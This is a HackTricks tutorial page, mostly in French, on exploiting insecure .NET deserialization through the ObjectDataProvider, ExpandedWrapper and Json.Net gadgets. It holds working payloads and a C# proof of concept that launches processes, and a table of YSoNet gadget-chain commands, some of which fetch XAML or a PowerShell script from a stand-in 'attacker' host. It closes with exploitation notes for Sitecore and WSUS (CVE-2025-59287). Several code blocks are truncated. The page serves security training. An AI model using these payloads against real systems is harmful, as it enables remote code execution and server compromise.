Désérialisation .Net basique (ObjectDataProvider gadget, ExpandedWrapper, et Json.Net)
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Ce billet est dédié à comprendre comment le gadget ObjectDataProvider est exploité pour obtenir RCE et comment les bibliothèques de sérialisation Json.Net et xmlSerializer peuvent être abusées avec ce gadget.
Gadget ObjectDataProvider
D’après la documentation : la classe ObjectDataProvider enveloppe et crée un objet que vous pouvez utiliser comme source de liaison.
Oui, c’est une explication étrange, alors voyons ce que cette classe a d’intéressant : Cette classe permet de envelopper un objet arbitraire, d’utiliser MethodParameters pour définir des paramètres arbitraires, puis utiliser MethodName pour appeler une fonction arbitraire de l’objet arbitraire déclarée en utilisant les paramètres arbitraires.
Par conséquent, l’objet arbitraire va exécuter une fonction avec des paramètres lors de sa désérialisation.
Comment cela est-il possible
L’espace de noms System.Windows.Data, présent dans PresentationFramework.dll à C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF, est l’endroit où ObjectDataProvider est défini et implémenté.
En utilisant dnSpy vous pouvez inspecter le code de la classe qui nous intéresse. Dans l’image ci-dessous nous voyons le code de PresentationFramework.dll –> System.Windows.Data –> ObjectDataProvider –> Method name
.png)
Comme vous pouvez le constater, lorsque MethodName est défini base.Refresh() est appelé, voyons ce que cela fait :
.png)
Ok, continuons et voyons ce que fait this.BeginQuery(). BeginQuery est surchargé par ObjectDataProvider et fait ceci :
.png)
Notez qu’à la fin du code il appelle this.QueryWorke(null). Voyons ce que cela exécute :
.png)
Notez que ceci n’est pas le code complet de la fonction QueryWorker mais cela montre la partie intéressante : Le code appelle this.InvokeMethodOnInstance(out ex); c’est la ligne où la méthode définie est invoquée.
Si vous voulez vérifier que le simple fait de définir le MethodName sera exécuté, vous pouvez exécuter ce code :
C# démo : ObjectDataProvider déclenche Process.Start
```csharp using System.Windows.Data; using System.Diagnostics;namespace ODPCustomSerialExample { class Program { static void Main(string[] args) { ObjectDataProvider myODP = new ObjectDataProvider(); myODP.ObjectType = typeof(Process); myODP.MethodParameters.Add(“cmd.exe”); myODP.MethodParameters.Add(“/c calc.exe”); myODP.MethodName = “Start”; } } }
</details>
Notez que vous devez ajouter en référence _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ afin de charger `System.Windows.Data`
## ExpandedWrapper
En utilisant l'exploit précédent, il y aura des cas où l'**object** va être **désérialisé en** une instance _**ObjectDataProvider**_ (par exemple dans la vuln DotNetNuke, en utilisant XmlSerializer, l'objet a été désérialisé en utilisant `GetType`). Dans ce cas, il n'aura **aucune connaissance du type d'objet qui est encapsulé** dans l'instance _ObjectDataProvider_ (`Process` par exemple). Vous pouvez trouver plus d'[information sur la vuln DotNetNuke ici](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
Cette classe permet de **spécifier les types d'objets des objets qui sont encapsulés** dans une instance donnée. Ainsi, cette classe peut être utilisée pour encapsuler un objet source (_ObjectDataProvider_) dans un nouveau type d'objet et fournir les propriétés dont nous avons besoin (_ObjectDataProvider.MethodName_ et _ObjectDataProvider.MethodParameters_).\
Ceci est très utile pour des cas comme celui présenté précédemment, car nous serons capables d'**envelopper \_ObjectDataProvider**_** dans une **_**ExpandedWrapper** \_ instance et, **lors de la désérialisation**, cette classe **créera** l'objet _**OjectDataProvider**_ qui **exécutera** la **fonction** indiquée dans _**MethodName**_.
Vous pouvez vérifier ce wrapper avec le code suivant :
<details>
<summary>C# demo: ExpandedWrapper encapsulating ObjectDataProvider</summary>
```csharp
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}
Json.Net
Sur la page officielle il est indiqué que cette bibliothèque permet de Serialize and deserialize any .NET object with Json.NET’s powerful JSON serializer. Donc, si nous pouvions deserialize the ObjectDataProvider gadget, nous pourrions provoquer une RCE simplement en désérialisant un objet.
Exemple Json.Net
Tout d’abord, voyons un exemple montrant comment serialize/deserialize un objet en utilisant cette bibliothèque :
C# demo: Json.NET serialize/deserialize
```csharp using System; using Newtonsoft.Json; using System.Diagnostics; using System.Collections.Generic;namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList
//Deserialize it
Account desaccount = JsonConvert.DeserializeObject
</details>
### Abus de Json.Net
En utilisant [ysoserial.net](https://github.com/pwntester/ysoserial.net) j'ai créé l'exploit :
```text
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
Dans ce code, vous pouvez tester l’exploit — il suffit de l’exécuter et vous verrez que calc s’exécute :
C# demo: Json.NET ObjectDataProvider exploitation PoC
```csharp using System; using System.Text; using Newtonsoft.Json;namespace DeserializationTests { class Program { static void Main(string[] args) { //Declare exploit string userdata = @“{ ‘$type’:‘System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35’, ‘MethodName’:‘Start’, ‘MethodParameters’:{ ‘$type’:‘System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089’, ‘$values’:[‘cmd’, ‘/c calc.exe’] }, ‘ObjectInstance’:{‘$type’:‘System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089’} }”; //Exploit to base64 string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
//Get data from base64 byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64); //Deserialize data string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64); object obj = JsonConvert.DeserializeObject
</details>
## Chaînes de gadgets .NET avancées (YSoNet & ysoserial.net)
La technique ObjectDataProvider + ExpandedWrapper présentée plus haut n'est qu'une des NOMBREUSES chaînes de gadgets qui peuvent être exploitées lorsqu'une application effectue une **désérialisation .NET non sécurisée**. Les outils modernes de red-team tels que **[YSoNet](https://github.com/irsdl/ysonet)** (et l'ancien [ysoserial.net](https://github.com/pwntester/ysoserial.net)) automatisent la création de **graphes d'objets malveillants prêts à l'emploi** pour des dizaines de gadgets et de formats de sérialisation.
Ci‑dessous une référence condensée des chaînes les plus utiles fournies avec *YSoNet* avec une brève explication de leur fonctionnement et des commandes d'exemple pour générer les payloads.
| Gadget Chain | Idée clé / primitif | Sérialiseurs courants | Commande YSoNet |
|--------------|---------------------|-----------------------|------------------|
| **TypeConfuseDelegate** | Corrompt l'enregistrement `DelegateSerializationHolder` de sorte qu'une fois matérialisé, le delegate pointe vers *n'importe quelle* méthode fournie par l'attaquant (p. ex. `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
| **ActivitySurrogateSelector** | Abuse de `System.Workflow.ComponentModel.ActivitySurrogateSelector` pour *contourner le filtrage de type .NET ≥4.8* et invoquer directement le **constructeur** d'une classe fournie ou **compiler** un fichier C# à la volée | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
| **DataSetOldBehaviour** | Exploite la représentation **XML legacy** de `System.Data.DataSet` pour instancier des types arbitraires en remplissant les champs `<ColumnMapping>` / `<DataType>` (en simulant éventuellement l'assembly avec `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
| **GetterCompilerResults** | Sur les runtimes WPF (> .NET 5) enchaîne des getters de propriétés jusqu'à atteindre `System.CodeDom.Compiler.CompilerResults`, puis *compile* ou *charge* un DLL fourni avec `-c` | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
| **ObjectDataProvider** (review) | Utilise le WPF `System.Windows.Data.ObjectDataProvider` pour appeler une méthode statique arbitraire avec des arguments contrôlés. YSoNet ajoute une variante pratique `--xamlurl` pour héberger le XAML malveillant à distance | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
| **PSObject (CVE-2017-8565)** | Intègre un `ScriptBlock` dans `System.Management.Automation.PSObject` qui s'exécute lorsque PowerShell désérialise l'objet | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
> [!TIP]
> Tous les payloads sont **écrits sur *stdout*** par défaut, ce qui facilite leur redirection vers d'autres outils (p. ex. générateurs ViewState, encodeurs base64, clients HTTP).
### Compilation / installation de YSoNet
Si aucun binaire précompilé n'est disponible sous *Actions ➜ Artifacts* / *Releases*, la one-liner **PowerShell** suivante préparera un environnement de build, clonera le dépôt et compilera le tout en mode *Release* :
```powershell
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;
git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release
Le binaire compilé ysonet.exe se trouve ensuite sous ysonet/bin/Release/.
Cas réel de sink: Sitecore convertToRuntimeHtml → BinaryFormatter
Un sink .NET pratique accessible dans les flux authentifiés de Sitecore XP Content Editor :
- Sink API:
Sitecore.Convert.Base64ToObject(string)appellenew BinaryFormatter().Deserialize(...). - Trigger path: pipeline
convertToRuntimeHtml→ConvertWebControls, qui recherche un élément frère avecid="{iframeId}_inner"et lit un attributvaluequi est traité comme des données sérialisées encodées en base64. Le résultat est converti en string et inséré dans le HTML.
Flux HTTP de déclenchement du sink Sitecore authentifié
```text // Load HTML into EditHtml session POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx Content-Type: application/x-www-form-urlencoded__PARAMETERS=edithtml:fix&…&ctl00$ctl00$ctl05$Html=
// Server returns a handle; visiting FixHtml.aspx?hdl=… triggers deserialization GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=…
</details>
- Gadget : any BinaryFormatter chain returning a string (side‑effects run during deserialization). See YSoNet/ysoserial.net to generate payloads.
For a full chain that starts pre‑auth with HTML cache poisoning in Sitecore and leads to this sink:
<a class="content_ref" href="../../network-services-pentesting/pentesting-web/sitecore/index.html"><span class="content_ref_label">Sitecore</span></a>
## Case study: WSUS unsafe .NET deserialization (CVE-2025-59287)
- Product/role : Windows Server Update Services (WSUS) role on Windows Server 2012 → 2025.
- Attack surface : IIS-hosted WSUS endpoints over HTTP/HTTPS on TCP 8530/8531 (often exposed internally; Internet exposure is high risk).
- Root cause : Unauthenticated deserialization of attacker-controlled data using legacy formatters :
- `GetCookie()` endpoint deserializes an `AuthorizationCookie` with `BinaryFormatter`.
- `ReportingWebService` performs unsafe deserialization via `SoapFormatter`.
- Impact : A crafted serialized object triggers a gadget chain during deserialization, leading to arbitrary code execution as `NT AUTHORITY\SYSTEM` under either the WSUS service (`wsusservice.exe`) or the IIS app pool `wsuspool` (`w3wp.exe`).
Notes pratiques d'exploitation
- Discovery : Scan for WSUS on TCP 8530/8531. Treat any pre-auth serialized blob reaching WSUS web methods as a potential sink for `BinaryFormatter`/`SoapFormatter` payloads.
- Payloads : Use YSoNet/ysoserial.net to generate `BinaryFormatter` or `SoapFormatter` chains (e.g., `TypeConfuseDelegate`, `ActivitySurrogateSelector`, `ObjectDataProvider`).
- Expected process lineage on success :
- `wsusservice.exe -> cmd.exe -> cmd.exe -> powershell.exe`
- `w3wp.exe (wsuspool) -> cmd.exe -> cmd.exe -> powershell.exe`
## References
- [YSoNet – .NET Deserialization Payload Generator](https://github.com/irsdl/ysonet)
- [ysoserial.net – original PoC tool](https://github.com/pwntester/ysoserial.net)
- [Microsoft – CVE-2017-8565](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8565)
- [watchTowr Labs – Sitecore XP cache poisoning → RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
- [Unit 42 – Microsoft WSUS RCE (CVE-2025-59287) actively exploited](https://unit42.paloaltonetworks.com/microsoft-cve-2025-59287/)
- [MSRC – CVE-2025-59287 advisory](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59287)
- [NVD – CVE-2025-59287](https://nvd.nist.gov/vuln/detail/CVE-2025-59287)
> [!TIP]
> Apprenez et pratiquez le hacking AWS :<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Apprenez et pratiquez le hacking GCP : <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Apprenez et pratiquez le hacking Azure : <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Soutenir HackTricks</summary>
>
> - Vérifiez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
> - **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Partagez des astuces de hacking en soumettant des PR au** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
>
> </details>
HackTricks

